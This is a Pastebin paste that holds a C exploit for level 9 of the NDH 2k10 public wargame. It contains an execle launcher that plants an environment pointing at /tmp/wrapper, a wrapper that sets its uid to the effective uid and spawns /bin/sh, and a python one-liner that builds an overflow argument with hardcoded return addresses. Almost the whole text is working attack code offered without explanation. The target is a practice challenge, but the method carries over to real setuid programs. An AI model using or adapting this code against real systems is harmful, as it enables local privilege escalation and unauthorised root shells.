Advertisement
raisep0wn

NDH 2k10 public wargame, level9, exploit

May 19th, 2011
146
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.94 KB | None | 0 0
  1. /***********************************
  2. |   Exploit.c                      |
  3. ***********************************/
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <unistd.h>
  7.  
  8. char target_path[] = "/home/level9/level9";
  9. char *env[] = {"/tmp/wrapper", (char *)0};
  10.  
  11. int main(int argc, char* argv[])
  12. {
  13.  if(!execle(target_path, target_path, argv[1], (char *)0, env))
  14.  {
  15.   perror("Unable to execute target.");
  16.   exit(1);
  17.  }
  18. }
  19.  
  20. /***********************************
  21. |   Wrapper.c                      |
  22. ***********************************/
  23. #include <stdio.h>
  24. #include <stdlib.h>
  25. #include <unistd.h>
  26.  
  27. int main(int argc, char* argv[])
  28. {
  29.  int euid = geteuid();
  30.  setreuid(euid, euid);
  31.  execv("/bin/sh", (char *)0);
  32. }
  33.  
  34. /***********************************
  35. |   Arg : python script            |
  36. ***********************************/
  37.  
  38. //"$(python -c "print '-'*54+ '\x20\x8e\xf2\xb7' + '\xa0\xd7\xeb\xb7' + '\xdb\xff\xff\xbf' + '\xfc\xff\xff\xbf'")"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement